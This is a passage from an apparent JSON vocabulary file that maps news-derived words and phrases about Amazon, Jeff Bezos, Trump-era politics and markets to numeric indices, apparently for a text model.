\"amazon majority\": 80103,\n  \"development team\": 80104,\n  \"traditional documentation\": 80105,\n  \"tripadvisor\": 80106,\n  \"strong consumption\": 80107,\n  \"ntia internet\": 80108,\n  \"exclusively going\": 80109,\n  \"store seen\": 80110,\n  \"joy ramirez\": 80111,\n  \"foreignaffairs\": 80112,\n  \"included unorthodox\": 80113,\n  \"chain safety\": 80114,\n  \"benefits worse\": 80115,\n  \"severely restricted\": 80116,\n  \"unfettered way\": 80117,\n  \"conceding\": 80118,\n  \"die trump\": 80119,\n  \"winter night\": 80120,\n  \"usps offers\": 80121,\n  \"taxpayers biggest\": 80122,\n  \"president david\": 80123,\n  \"owens\": 80124,\n  \"freshmen democrats\": 80125,\n  \"flaw thorough\": 80126,\n  \"racist language\": 80127,\n  \"amazon evidently\": 80128,\n  \"news witch\": 80129,\n  \"card amazon\": 80130,\n  \"npr suggesting\": 80131,\n  \"young people\": 80132,\n  \"start minimum\": 80133,\n  \"poverty terrorism\": 80134,\n  \"story medium\": 80135,\n  \"weaknesses\": 80136,\n  \"colleen hayes\": 80137,\n  \"chicago worked\": 80138,\n  \"quinnipiac university\": 80139,\n  \"underscores deeper\": 80140,\n  \"quickly make\": 80141,\n  \"poor relations\": 80142,\n  \"center mall\": 80143,\n  \"convenient cudgel\": 80144,\n  \"crash tests\": 80145,\n  \"registered republican\": 80146,\n  \"results don\": 80147,\n  \"services affiliate\": 80148,\n  \"null internationalversion\": 80149,\n  \"ireland limited\": 80150,\n  \"offline retail\": 80151,\n  \"major political\": 80152,\n  \"pentagon amazon\": 80153,\n  \"flooded house\": 80154,\n  \"cards 2018\": 80155,\n  \"past stances\": 80156,\n  \"properties trump\": 80157,\n  \"amazon prefers\": 80158,\n  \"tweet rage\": 80159,\n  \"immigration limits\": 80160,\n  \"carey man\": 80161,\n  \"clothes shoes\": 80162,\n  \"verizon monopoly\": 80163,\n  \"companies prefer\": 80164,\n  \"zte panel\": 80165,\n  \"period piece\": 80166,\n  \"inspirational email\": 80167,\n  \"richard trumka\": 80168,\n  \"deutsch usa\": 80169,\n  \"newspaper loses\": 80170,\n  \"president spun\": 80171,\n  \"evidence drove\": 80172,\n  \"additional element\": 80173,\n  \"telegraph file\": 80174,\n  \"developed ideas\": 80175,\n  \"exelon scott\": 80176,\n  \"build long\": 80177,\n  \"cohen met\": 80178,\n  \"dietsch\": 80179,\n  \"china look\": 80180,\n  \"nearby highway\": 80181,\n  \"recovery efforts\": 80182,\n  \"business wrote\": 80183,\n  \"follows microsoft\": 80184,\n  \"cuba iran\": 80185,\n  \"rundown jim\": 80186,\n  \"nerve inside\": 80187,\n  \"previously set\": 80188,\n  \"acquired shipt\": 80189,\n  \"treatment new\": 80190,\n  \"strongly rejected\": 80191,\n  \"hisilli\": 80192,\n  \"good discussion\": 80193,\n  \"posters praised\": 80194,\n  \"rate wants\": 80195,\n  \"operate internationally\": 80196,\n  \"philosophically\": 80197,\n  \"outside nuclear\": 80198,\n  \"rows\": 80199,\n  \"mortar business\": 80200,\n  \"national immigration\": 80201,\n  \"investments sorted\": 80202,\n  \"energy minister\": 80203,\n  \"limited options\": 80204,\n  \"pluck\": 80205,\n  \"imagealt rose\": 80206,\n  \"historian presents\": 80207,\n  \"ibama personnel\": 80208,\n  \"perry\": 80209,\n  \"usmidterms usatoda\": 80210,\n  \"jamie dimon\": 80211,\n  \"stiglitz\": 80212,\n  \"fang fagna\": 80213,\n  \"society simultaneously\": 80214,\n  \"lives lifestyles\": 80215,\n  \"dramatically expanded\": 80216,\n  \"universal guaranteed\": 80217,\n  \"peers\": 80218,\n  \"division left\": 80219,\n  \"rattling foreign\": 80220,\n  \"terminal\": 80221,\n  \"amazon frankly\": 80222,\n  \"young boys\": 80223,\n  \"horscic\": 80224,\n  \"operation beorma\": 80225,\n  \"micromax lava\": 80226,\n  \"firm value\": 80227,\n  \"london terror\": 80228,\n  \"extortion amazon\": 80229,\n  \"slap childish\": 80230,\n  \"induced famine\": 80231,\n  \"just invites\": 80232,\n  \"political toys\": 80233,\n  \"donation details\": 80234,\n  \"waiver\": 80235,\n  \"index set\": 80236,\n  \"offered payment\": 80237,\n  \"week countdown\": 80238,\n  \"nonnegotiable usps\": 80239,\n  \"perceive\": 80240,\n  \"contract decision\": 80241,\n  \"city spencer\": 80242,\n  \"enquirer situation\": 80243,\n  \"healthcare company\": 80244,\n  \"fencing turned\": 80245,\n  \"attracted criticism\": 80246,\n  \"advantageous\": 80247,\n  \"content public\": 80248,\n  \"replacing devin\": 80249,\n  \"durbin warn\": 80250,\n  \"awards maybe\": 80251,\n  \"ulrich goodfellas\": 80252,\n  \"jangling\": 80253,\n  \"yelling\": 80254,\n  \"jaar vast\": 80255,\n  \"iphones imported\": 80256,\n  \"tb i9\": 80257,\n  \"outpaced\": 80258,\n  \"plainly false\": 80259,\n  \"investors believe\": 80260,\n  \"babcock\": 80261,\n  \"hating trump\": 80262,\n  \"dunkirk\": 80263,\n  \"hourly earnings\": 80264,\n  \"scarce writes\": 80265,\n  \"deliver mail\": 80266,\n  \"tags drones\": 80267,\n  \"uber public\": 80268,\n  \"esch member\": 80269,\n  \"political intrigue\": 80270,\n  \"allies begin\": 80271,\n  \"widnes\": 80272,\n  \"leaked word\": 80273,\n  \"trump trump\": 80274,\n  \"international escapades\": 80275,\n  \"fr independent\": 80276,\n  \"buy counterfeit\": 80277,\n  \"financial crisis\": 80278,\n  \"storm engulfs\": 80279,\n  \"unlikely hero\": 80280,\n  \"cap limited\": 80281,\n  \"did ny1politics\": 80282,\n  \"getting vilified\": 80283,\n  \"commission recently\": 80284,\n  \"including wallstreetjournal\": 80285,\n  \"today mayor\": 80286,\n  \"electric utilities\": 80287,\n  \"trump aims\": 80288,\n  \"smoke signals\": 80289,\n  \"body slam\": 80290,\n  \"york needs\": 80291,\n  \"carolina town\": 80292,\n  \"populated gentrifying\": 80293,\n  \"oates song\": 80294,\n  \"laptops\": 80295,\n  \"post shutdown\": 80296,\n  \"derived ingredients\": 80297,\n  \"ef\": 80298,\n  \"moth\": 80299,\n  \"administration stepped\": 80300,\n  \"raise awareness\": 80301,\n  \"fact cover\": 80302,\n  \"point deutsch\": 80303,\n  \"revive\": 80304,\n  \"prison reform\": 80305,\n  \"lacking social\": 80306,\n  \"editor nicholas\": 80307,\n  \"allegedly subjected\": 80308,\n  \"common pension\": 80309,\n  \"overhead rep\": 80310,\n  \"eve hush\": 80311,\n  \"earlier spending\": 80312,\n  \"m4 z4\": 80313,\n  \"potential miscalculation\": 80314,\n  \"escalate economic\": 80315,\n  \"fit hiking\": 80316,\n  \"borrower\": 80317,\n  \"microsoft market\": 80318,\n  \"969\": 80319,\n  \"laws thinks\": 80320,\n  \"shares 055\": 80321,\n  \"factors emphasis\": 80322,\n  \"abramson book\": 80323,\n  \"ianniello says\": 80324,\n  \"bezos text\": 80325,\n  \"delivered approximately\": 80326,\n  \"trump obsessive\": 80327,\n  \"government agencies\": 80328,\n  \"overstatements hyped\": 80329,\n  \"acquired private\": 80330,\n  \"kylie jenner\": 80331,\n  \"441\": 80332,\n  \"week commenting\": 80333,\n  \"tell\": 80334,\n  \"lee kelly\": 80335,\n  \"virtues speculating\": 80336,\n  \"taxes according\": 80337,\n  \"counterweight\": 80338,\n  \"european nations\": 80339,\n  \"collection storage\": 80340,\n  \"member following\": 80341,\n  \"bailouts protections\": 80342,\n  \"agency does\": 80343,\n  \"indonesia professor\": 80344,\n  \"person spends\": 80345,\n  \"democrats notably\": 80346,\n  \"business financially\": 80347,\n  \"revenue kroger\": 80348,\n  \"editor remind\": 80349,\n  \"emanations worth\": 80350,\n  \"beds inside\": 80351,\n  \"wasn supplier\": 80352,\n  \"2018 kicks\": 80353,\n  \"payments amazon\": 80354,\n  \"coordinated scale\": 80355,\n  \"pressing\": 80356,\n  \"numerous enterprise\": 80357,\n  \"does lose\": 80358,\n  \"warning sign\": 80359,\n  \"treasonous cnn\": 80360,\n  \"fight ring\": 80361,\n  \"pressuring countries\": 80362,\n  \"foxconn annual\": 80363,\n  \"ordering amazon\": 80364,\n  \"environment news\": 80365,\n  \"request\": 80366,\n  \"estate data\": 80367,\n  \"sure harry\": 80368,\n  \"public dissemination\": 80369,\n  \"sen duckworth\": 80370,\n  \"challenge map\": 80371,\n  \"determined campaign\": 80372,\n  \"frozen burrito\": 80373,\n  \"founding member\": 80374,\n  \"east alongside\": 80375,\n  \"arpu reduce\": 80376,\n  \"state dept\": 80377,\n  \"short speech\": 80378,\n  \"messenger ceo\": 80379,\n  \"bluetooth\": 80380,\n  \"caravans mean\": 80381,\n  \"tags\": 80382,\n  \"extreme events\": 80383,\n  \"completion amazon\": 80384,\n  \"allowing companies\": 80385,\n  \"assault testimony\": 80386,\n  \"ruling allowing\": 80387,\n  \"souring\": 80388,\n  \"groundwater testing\": 80389,\n  \"driving ruthless\": 80390,\n  \"strangest reasons\": 80391,\n  \"immediate control\": 80392,\n  \"100 cities\": 80393,\n  \"jeffs\": 80394,\n  \"yes fiction\": 80395,\n  \"maria federal\": 80396,\n  \"political twitter\": 80397,\n  \"called god\": 80398,\n  \"impassioned race\": 80399,\n  \"robot\": 80400,\n  \"hockey league\": 80401,\n  \"toronto feel\": 80402,\n  \"stealth access\": 80403,\n  \"flags read\": 80404,\n  \"states charlie\": 80405,\n  \"dear friend\": 80406,\n  \"welfare package\": 80407,\n  \"meaningless\": 80408,\n  \"obama white\": 80409,\n  \"apga\": 80410,\n  \"newsletter promo\": 80411,\n  \"amazon effort\": 80412,\n  \"periodic swoons\": 80413,\n  \"malbin executive\": 80414,\n  \"comments john\": 80415,\n  \"avalara\": 80416,\n  \"additional mandates\": 80417,\n  \"biggest year\": 80418,\n  \"bluefly\": 80419,\n  \"director michel\": 80420,\n  \"governance question\": 80421,\n  \"attacks coincide\": 80422,\n  \"2020 writes\": 80423,\n  \"shade sun\": 80424,\n  \"money needed\": 80425,\n  \"manager replied\": 80426,\n  \"paid just\": 80427,\n  \"r4ee l6\": 80428,\n  \"huge delivery\": 80429,\n  \"legislation 5151\": 80430,\n  \"inanimate objects\": 80431,\n  \"anybody does\": 80432,\n  \"standardizing\": 80433,\n  \"lengthy national\": 80434,\n  \"preaches\": 80435,\n  \"favorably ocasio\": 80436,\n  \"ubereats\": 80437,\n  \"news starr\": 80438,\n  \"overly broad\": 80439,\n  \"steel slats\": 80440,\n  \"standards tribunal\": 80441,\n  \"bezos penchant\": 80442,\n  \"weekend late\": 80443,\n  \"did lead\": 80444,\n  \"katrina\": 80445,\n  \"writer says\": 80446,\n  \"reports president\": 80447,\n  \"company record\": 80448,\n  \"remind\": 80449,\n  \"win carnival\": 80450,\n  \"blocked zuker\": 80451,\n  \"individual company\": 80452,\n  \"syckle helped\": 80453,\n  \"happy year\": 80454,\n  \"run harm\": 80455,\n  \"bowl lii\": 80456,\n  \"separate issue\": 80457,\n  \"2013 jim\": 80458,\n  \"smoky cloudy\": 80459,\n  \"tilt\": 80460,\n  \"photographer\": 80461,\n  \"reuters billionaire\": 80462,\n  \"weather emergencies\": 80463,\n  \"expect annual\": 80464,\n  \"antitrust investigation\": 80465,\n  \"marriage earlier\": 80466,\n  \"unnamed individual\": 80467,\n  \"explore fictional\": 80468,\n  \"disastrous market\": 80469,\n  \"virginia taxpayers\": 80470,\n  \"little\": 80471,\n  \"trap\": 80472,\n  \"geospatial engineering\": 80473,\n  \"ninja level\": 80474,\n  \"earthquake\": 80475,\n  \"market dominated\": 80476,\n  \"universe\": 80477,\n  \"bulls say\": 80478,\n  \"frantic\": 80479,\n  \"600bn\": 80480,\n  \"aaron rakers\": 80481,\n  \"pecker agreed\": 80482,\n  \"problem merchants\": 80483,\n  \"newspaper lobbyist\": 80484,\n  \"lane working\": 80485,\n  \"affiliates hold\": 80486,\n  \"hands trump\": 80487,\n  \"discontent\": 80488,\n  \"standing beef\": 80489,\n  \"carlos menchaca\": 80490,\n  \"james malinchak\": 80491,\n  \"support ted\": 80492,\n  \"workshare\": 80493,\n  \"181002134913\": 80494,\n  \"city rep\": 80495,\n  \"murals home\": 80496,\n  \"allow companies\": 80497,\n  \"cnn new\": 80498,\n  \"michigan state\": 80499,\n  \"angeles phillips\": 80500,\n  \"classic american\": 80501,\n  \"a4 a4ee\": 80502,\n  \"environment minister\": 80503,\n  \"wages going\": 80504,\n  \"average rate\": 80505,\n  \"sending small\": 80506,\n  \"american tabloid\": 80507,\n  \"progressive caucus\": 80508,\n  \"payments vestager\": 80509,\n  \"increasing competition\": 80510,\n  \"receive percentage\": 80511,\n  \"korede quickly\": 80512,\n  \"cuban janice\": 80513,\n  \"revamping\": 80514,\n  \"customers taking\": 80515,\n  \"ben spielberg\": 80516,\n  \"trump enemy\": 80517,\n  \"solutions warehouse\": 80518,\n  \"company reported\": 80519,\n  \"companies relationship\": 80520,\n  \"pressures amazon\": 80521,\n  \"stelac\": 80522,\n  \"manslaughter\": 80523,\n  \"world mobile\": 80524,\n  \"rewarded handsomely\": 80525,\n  \"mlp today\": 80526,\n  \"candidate won\": 80527,\n  \"relevant right\": 80528,\n  \"plays games\": 80529,\n  \"tax service\": 80530,\n  \"turning equities\": 80531,\n  \"home kelly\": 80532,\n  \"absentee ballots\": 80533,\n  \"roadmap\": 80534,\n  \"alan graf\": 80535,\n  \"realdonaldtrump jeffbezos\": 80536,\n  \"case prosecutors\": 80537,\n  \"hefty taxpayer\": 80538,\n  \"welles supporters\": 80539,\n  \"lansinger\": 80540,\n  \"getting tougher\": 80541,\n  \"throwing good\": 80542,\n  \"way trump\": 80543,\n  \"don long\": 80544,\n  \"submarine\": 80545,\n  \"charged specifically\": 80546,\n  \"decade including\": 80547,\n  \"database imdb\": 80548,\n  \"double digit\": 80549,\n  \"spent million\": 80550,\n  \"secretary jacob\": 80551,\n  \"fearless kathryn\": 80552,\n  \"operates 353\": 80553,\n  \"culture post\": 80554,\n  \"nullify trump\": 80555,\n  \"chef samin\": 80556,\n  \"significant especially\": 80557,\n  \"maximize profits\": 80558,\n  \"service produced\": 80559,\n  \"potential targets\": 80560,\n  \"style texting\": 80561,\n  \"john roberts\": 80562,\n  \"corporate hugging\": 80563,\n  \"otherwords columnist\": 80564,\n  \"work sent\": 80565,\n  \"tech shares\": 80566,\n  \"director seattle\": 80567,\n  \"reconsiders coming\": 80568,\n  \"170 000\": 80569,\n  \"campus areas\": 80570,\n  \"sent 140\": 80571,\n  \"pain working\": 80572,\n  \"jovem\": 80573,\n  \"sen tammy\": 80574,\n  \"lawsuit saying\": 80575,\n  \"haralampus\": 80576,\n  \"editorial content\": 80577,\n  \"diluted\": 80578,\n  \"target acquired\": 80579,\n  \"yield higher\": 80580,\n  \"program caller\": 80581,\n  \"hysterical headlines\": 80582,\n  \"harm users\": 80583,\n  \"gaap measures\": 80584,\n  \"aisle senate\": 80585,\n  \"permanent sore\": 80586,\n  \"fed current\": 80587,\n  \"certification\": 80588,\n  \"iconic going\": 80589,\n  \"ewiw6dkhz8\": 80590,\n  \"360 showurl\": 80591,\n  \"policies inside\": 80592,\n  \"zalishchuk\": 80593,\n  \"surprise arlington\": 80594,\n  \"set records\": 80595,\n  \"believe new\": 80596,\n  \"amazon voting\": 80597,\n  \"reportedly set\": 80598,\n  \"nonfiction lists\": 80599,\n  \"parents flexibility\": 80600,\n  \"host decides\": 80601,\n  \"bb mb\": 80602,\n  \"threat crispr\": 80603,\n  \"feud really\": 80604,\n  \"county sheriff\": 80605,\n  \"2018 couchbase\": 80606,\n  \"2018 jim\": 80607,\n  \"federal offense\": 80608,\n  \"direct subsidies\": 80609,\n  \"far cell\": 80610,\n  \"words written\": 80611,\n  \"guns turned\": 80612,\n  \"latest quarterly\": 80613,\n  \"shrugged\": 80614,\n  \"social policy\": 80615,\n  \"cutting output\": 80616,\n  \"rising rap\": 80617,\n  \"acquired smart\": 80618,\n  \"sen patty\": 80619,\n  \"raw demonstration\": 80620,\n  \"bc\": 80621,\n  \"canadian natural\": 80622,\n  \"precies waarom\": 80623,\n  \"despite roller\": 80624,\n  \"life greater\": 80625,\n  \"current world\": 80626,\n  \"complained directly\": 80627,\n  \"worst conflict\": 80628,\n  \"zoske82zc5\": 80629,\n  \"watchdogs google\": 80630,\n  \"advertising campaign\": 80631,\n  \"miliband ravi\": 80632,\n  \"says memphis\": 80633,\n  \"rice bowl\": 80634,\n  \"news alert\": 80635,\n  \"billion international\": 80636,\n  \"defangs nuclear\": 80637,\n  \"companies cited\": 80638,\n  \"moment\": 80639,\n  \"various stages\": 80640,\n  \"unstoppable\": 80641,\n  \"playbook family\": 80642,\n  \"inhabitants grisly\": 80643,\n  \"old working\": 80644,\n  \"apparently started\": 80645,\n  \"assure drinking\": 80646,\n  \"cupp slams\": 80647,\n  \"chuckles\": 80648,\n  \"mainstream aoc\": 80649,\n  \"president economic\": 80650,\n  \"malinowski high\": 80651,\n  \"4368\": 80652,\n  \"included message\": 80653,\n  \"parul\": 80654,\n  \"routinely used\": 80655,\n  \"comcast warren\": 80656,\n  \"tuition handed\": 80657,\n  \"null img_reference_name\": 80658,\n  \"service increased\": 80659,\n  \"brands alike\": 80660,\n  \"known practice\": 80661,\n  \"stop special\": 80662,\n  \"news group\": 80663,\n  \"infrastructure china\": 80664,\n  \"enquirer faces\": 80665,\n  \"remaining freighters\": 80666,\n  \"bought stock\": 80667,\n  \"kohn\": 80668,\n  \"president washington\": 80669,\n  \"fight trump\": 80670,\n  \"maria angeles\": 80671,\n  \"germany alligator\": 80672,\n  \"monolithic\": 80673,\n  \"bankruptcies defrauded\": 80674,\n  \"kiar\": 80675,\n  \"fund provides\": 80676,\n  \"risk classification\": 80677,\n  \"pubgversary\": 80678,\n  \"managing 100\": 80679,\n  \"2018 online\": 80680,\n  \"reported sluggish\": 80681,\n  \"deal did\": 80682,\n  \"potentially long\": 80683,\n  \"organization chief\": 80684,\n  \"raises 2018\": 80685,\n  \"china rock\": 80686,\n  \"giving lots\": 80687,\n  \"undefined nextplay\": 80688,\n  \"286\": 80689,\n  \"gushes\": 80690,\n  \"email sent\": 80691,\n  \"mehic ben\": 80692,\n  \"james bennet\": 80693,\n  \"oxygen\": 80694,\n  \"term environment\": 80695,\n  \"ads\": 80696,\n  \"ipt\": 80697,\n  \"taking ideological\": 80698,\n  \"justice trade\": 80699,\n  \"bought 826\": 80700,\n  \"smarsh scribner\": 80701,\n  \"discernable long\": 80702,\n  \"cbsnews\": 80703,\n  \"big feet\": 80704,\n  \"launch trump\": 80705,\n  \"strategic influence\": 80706,\n  \"best hope\": 80707,\n  \"developing rocket\": 80708,\n  \"raised million\": 80709,\n  \"ponging\": 80710,\n  \"post native\": 80711,\n  \"hypotheek\": 80712,\n  \"wildfire 2018\": 80713,\n  \"present risks\": 80714,\n  \"banks today\": 80715,\n  \"press later\": 80716,\n  \"liveable\": 80717,\n  \"warranted help\": 80718,\n  \"amazon homecoming\": 80719,\n  \"origin bezos\": 80720,\n  \"amazon hasty\": 80721,\n  \"serial liar\": 80722,\n  \"insider ignition\": 80723,\n  \"hardware sales\": 80724,\n  \"mean\": 80725,\n  \"national researcher\": 80726,\n  \"retail strategy\": 80727,\n  \"want summary\": 80728,\n  \"jarrett jarrett\": 80729,\n  \"internal management\": 80730,\n  \"thesubcommittee chair\": 80731,\n  \"incredibly disciplined\": 80732,\n  \"unflattering sections\": 80733,\n  \"basically able\": 80734,\n  \"incessant phone\": 80735,\n  \"weird\": 80736,\n  \"similar cross\": 80737,\n  \"utah mair\": 80738,\n  \"employment gains\": 80739,\n  \"video based\": 80740,\n  \"ihkopoyqzz donald\": 80741,\n  \"demands employees\": 80742,\n  \"damaging issue\": 80743,\n  \"ss officer\": 80744,\n  \"maximum donations\": 80745,\n  \"matt rourke\": 80746,\n  \"732\": 80747,\n  \"barneys\": 80748,\n  \"limited electricity\": 80749,\n  \"main feature\": 80750,\n  \"haines\": 80751,\n  \"china fell\": 80752,\n  \"major challenges\": 80753,\n  \"means leveraging\": 80754,\n  \"status 1062486469602766848\": 80755,\n  \"rqxskzjuly\": 80756,\n  \"media headlineposttext\": 80757,\n  \"dominique\": 80758,\n  \"philbin\": 80759,\n  \"bs_link link\": 80760,\n  \"retail deals\": 80761,\n  \"licenses subject\": 80762,\n  \"labor rate\": 80763,\n  \"oil companies\": 80764,\n  \"brand initiatives\": 80765,\n  \"branded media\": 80766,\n  \"politician\": 80767,\n  \"voor alle\": 80768,\n  \"question chose\": 80769,\n  \"counterfeits trump\": 80770,\n  \"culturally\": 80771,\n  \"steep rise\": 80772,\n  \"insatiable appetite\": 80773,\n  \"california democratic\": 80774,\n  \"elevated tensions\": 80775,\n  \"does insider\": 80776,\n  \"company decided\": 80777,\n  \"anonymity amazon\": 80778,\n  \"washington crisis\": 80779,\n  \"week stating\": 80780,\n  \"microsoft napster\": 80781,\n  \"created distraction\": 80782,\n  \"companies labor\": 80783,\n  \"cosmo\": 80784,\n  \"sharpd0g\": 80785,\n  \"nasdaq nfbk\": 80786,\n  \"cfra analyst\": 80787,\n  \"jo marie\": 80788,\n  \"tech predictions\": 80789,\n  \"quietly political\": 80790,\n  \"dollars day\": 80791,\n  \"fresh capital\": 80792,\n  \"little wrong\": 80793,\n  \"injects\": 80794,\n  \"markets felt\": 80795,\n  \"revealed steamy\": 80796,\n  \"working condition\": 80797,\n  \"subversive modern\": 80798,\n  \"lower potential\": 80799,\n  \"defendant actions\": 80800,\n  \"occurs\": 80801,\n  \"estate services\": 80802,\n  \"amazon films\": 80803,\n  \"versus analysts\": 80804,\n  \"armour nyse\": 80805,\n  \"fair lyft\": 80806,\n  \"subsections world\": 80807,\n  \"bezos billions\": 80808,\n  \"glob\": 80809,\n  \"need abide\": 80810,\n  \"include penn\": 80811,\n  \"war memorial\": 80812,\n  \"powerful gatekeepers\": 80813,\n  \"vaccine directly\": 80814,\n  \"republican turnout\": 80815,\n  \"vile political\": 80816,\n  \"bed\": 80817,\n  \"instant bag\": 80818,\n  \"american immigrants\": 80819,\n  \"submit plans\": 80820,\n  \"humanitarian aid\": 80821,\n  \"norms important\": 80822,\n  \"california men\": 80823,\n  \"1992 google\": 80824,\n  \"say gerald\": 80825,\n  \"earns\": 80826,\n  \"fec\": 80827,\n  \"complicated question\": 80828,\n  \"valerie volcovici\": 80829,\n  \"drug offender\": 80830,\n  \"fairly applied\": 80831,\n  \"observer\": 80832,\n  \"mcclatchy newspapers\": 80833,\n  \"negative network\": 80834,\n  \"cutthroat nature\": 80835,\n  \"summaries\": 80836,\n  \"launched kindergarten\": 80837,\n  \"economic damage\": 80838,\n  \"remote lake\": 80839,\n  \"trump paying\": 80840,\n  \"evil bigot\": 80841,\n  \"watching\": 80842,\n  \"thought process\": 80843,\n  \"signatures\": 80844,\n  \"hour later\": 80845,\n  \"feffer author\": 80846,\n  \"spiralled\": 80847,\n  \"senior corporate\": 80848,\n  \"wrong omid\": 80849,\n  \"price keeps\": 80850,\n  \"shutdown early\": 80851,\n  \"2019 season\": 80852,\n  \"neutral space\": 80853,\n  \"redding\": 80854,\n  \"short presentations\": 80855,\n  \"performance cross\": 80856,\n  \"pundit scottie\": 80857,\n  \"balzer bray\": 80858,\n  \"food producers\": 80859,\n  \"performance year\": 80860,\n  \"people rely\": 80861,\n  \"homeland security\": 80862,\n  \"meuller\": 80863,\n  \"camarda fincl\": 80864,\n  \"promote paid\": 80865,\n  \"amazon reference\": 80866,\n  \"adam best\": 80867,\n  \"proposed academy\": 80868,\n  \"competitors strongly\": 80869,\n  \"just separate\": 80870,\n  \"boycottamazon pjnet\": 80871,\n  \"says don\": 80872,\n  \"disorganized mish\": 80873,\n  \"wine industry\": 80874,\n  \"media officers\": 80875,\n  \"apple machine\": 80876,\n  \"emailed comments\": 80877,\n  \"2006\": 80878,\n  \"new developing\": 80879,\n  \"wasn forthcoming\": 80880,\n  \"keeps sprinting\": 80881,\n  \"solalinde\": 80882,\n  \"ecuador peru\": 80883,\n  \"human diploid\": 80884,\n  \"qsb6xijujc\": 80885,\n  \"amazon proof\": 80886,\n  \"bodily items\": 80887,\n  \"referencing department\": 80888,\n  \"join seattle\": 80889,\n  \"sending text\": 80890,\n  \"book alleges\": 80891,\n  \"cigna stock\": 80892,\n  \"billion day\": 80893,\n  \"trump work\": 80894,\n  \"airbus competitiveness\": 80895,\n  \"union town\": 80896,\n  \"malek socially\": 80897,\n  \"trump closest\": 80898,\n  \"global figure\": 80899,\n  \"counseling services\": 80900,\n  \"magli\": 80901,\n  \"ivanka shoe\": 80902,\n  \"stress resulting\": 80903,\n  \"washington recently\": 80904,\n  \"hume karl\": 80905,\n  \"discouraged newspapers\": 80906,\n  \"x1 srcdoc\": 80907,\n  \"media marketing\": 80908,\n  \"eu parliament\": 80909,\n  \"alibaba better\": 80910,\n  \"ferrari\": 80911,\n  \"resist pressure\": 80912,\n  \"jill lawless\": 80913,\n  \"bystander\": 80914,\n  \"work saying\": 80915,\n  \"site similar\": 80916,\n  \"kyo\": 80917,\n  \"incessently\": 80918,\n  \"qsr\": 80919,\n  \"human female\": 80920,\n  \"undercharging amazon\": 80921,\n  \"reads james\": 80922,\n  \"foxa foxa\": 80923,\n  \"lyons state\": 80924,\n  \"gmt democrats\": 80925,\n  \"52billion 41billion\": 80926,\n  \"boycott movement\": 80927,\n  \"boycottamazon washingtonpost\": 80928,\n  \"gcc apple\": 80929,\n  \"previously seen\": 80930,\n  \"twin\": 80931,\n  \"ago upended\": 80932,\n  \"firm mckinley\": 80933,\n  \"gamification\": 80934,\n  \"taxes donald\": 80935,\n  \"500 2018\": 80936,\n  \"scuba\": 80937,\n  \"culture recipes\": 80938,\n  \"service\": 80939,\n  \"nyse mhk\": 80940,\n  \"nation wealth\": 80941,\n  \"story does\": 80942,\n  \"latest bombshells\": 80943,\n  \"1980s led\": 80944,\n  \"jay hernandez\": 80945,\n  \"energized\": 80946,\n  \"downstate region\": 80947,\n  \"waters right\": 80948,\n  \"distractions\": 80949,\n  \"police sgt\": 80950,\n  \"stop crying\": 80951,\n  \"abuser list\": 80952,\n  \"style section\": 80953,\n  \"breakthrough miami\": 80954,\n  \"logistics background\": 80955,\n  \"container load\": 80956,\n  \"encourage congress\": 80957,\n  \"supports president\": 80958,\n  \"america future\": 80959,\n  \"disastrous\": 80960,\n  \"tax base\": 80961,\n  \"canned\": 80962,\n  \"ap latest\": 80963,\n  \"having negative\": 80964,\n  \"workshop\": 80965,\n  \"rebels clinch\": 80966,\n  \"just bloomberg\": 80967,\n  \"thomas cromwell\": 80968,\n  \"previous operations\": 80969,\n  \"clintons did\": 80970,\n  \"republican took\": 80971,\n  \"spearheading campaign\": 80972,\n  \"kokonas micah\": 80973,\n  \"impress friends\": 80974,\n  \"including cross\": 80975,\n  \"offering crucial\": 80976,\n  \"time hanging\": 80977,\n  \"turned young\": 80978,\n  \"threatened legal\": 80979,\n  \"engine testing\": 80980,\n  \"economists polled\": 80981,\n  \"educated consumers\": 80982,\n  \"chosen locations\": 80983,\n  \"fnz9k4mw10\": 80984,\n  \"fine amazon\": 80985,\n  \"amzn nasdaq\": 80986,\n  \"stitch fix\": 80987,\n  \"york county\": 80988,\n  \"delegating announcements\": 80989,\n  \"factset\": 80990,\n  \"img_tile_override_imageref null\": 80991,\n  \"gore trump\": 80992,\n  \"security package\": 80993,\n  \"service vet\": 80994,\n  \"speaker nancy\": 80995,\n  \"headstart\": 80996,\n  \"profitable way\": 80997,\n  \"newspaper criticized\": 80998,\n  \"glean\": 80999,\n  \"600 billion\": 81000,\n  \"new ag\": 81001,\n  \"appraiser broward\": 81002,\n  \"using food\": 81003,\n  \"existent consumer\": 81004,\n  \"tightest job\": 81005,\n  \"axe\": 81006,\n  \"stock nasdaq\": 81007,\n  \"ago nancy\": 81008,\n  \"unsurprising observation\": 81009,\n  \"incorporated holds\": 81010,\n  \"receives fda\": 81011,\n  \"informing\": 81012,\n  \"jennifer kay\": 81013,\n  \"issues vote\": 81014,\n  \"privatization buried\": 81015,\n  \"teddy\": 81016,\n  \"tougher antitrust\": 81017,\n  \"legislation pointedly\": 81018,\n  \"slowest growth\": 81019,\n  \"advertising expanded\": 81020,\n  \"2019 debut\": 81021,\n  \"separating migrant\": 81022,\n  \"ceo phone\": 81023,\n  \"rips lawyers\": 81024,\n  \"75th\": 81025,\n  \"socialist trump\": 81026,\n  \"wearing\": 81027,\n  \"1tn valuation\": 81028,\n  \"favorably compared\": 81029,\n  \"cap regulators\": 81030,\n  \"gpa despite\": 81031,\n  \"news weekend\": 81032,\n  \"vea\": 81033,\n  \"mulvaney past\": 81034,\n  \"attacks brett\": 81035,\n  \"lizzie\": 81036,\n  \"checker\": 81037,\n  \"pushing fake\": 81038,\n  \"looking dry\": 81039,\n  \"quality education\": 81040,\n  \"law enforcements\": 81041,\n  \"blond locks\": 81042,\n  \"demographic group\": 81043,\n  \"messages hours\": 81044,\n  \"battlegrounds\": 81045,\n  \"vaccine ingredients\": 81046,\n  \"data published\": 81047,\n  \"totake money\": 81048,\n  \"bolduan just\": 81049,\n  \"escapes unscathed\": 81050,\n  \"sooter wrote\": 81051,\n  \"mcmillon\": 81052,\n  \"report asserts\": 81053,\n  \"counterfeit items\": 81054,\n  \"communication services\": 81055,\n  \"cnn says\": 81056,\n  \"market vulnerable\": 81057,\n  \"equalizer retailers\": 81058,\n  \"philadelphia letter\": 81059,\n  \"copr publishers\": 81060,\n  \"muslims\": 81061,\n  \"basics diapers\": 81062,\n  \"important reminder\": 81063,\n  \"government elevates\": 81064,\n  \"amazon 703\": 81065,\n  \"environment secretary\": 81066,\n  \"rams\": 81067,\n  \"amazon shadow\": 81068,\n  \"hq2s won\": 81069,\n  \"lorre\": 81070,\n  \"tax burdens\": 81071,\n  \"prices dip\": 81072,\n  \"judge\": 81073,\n 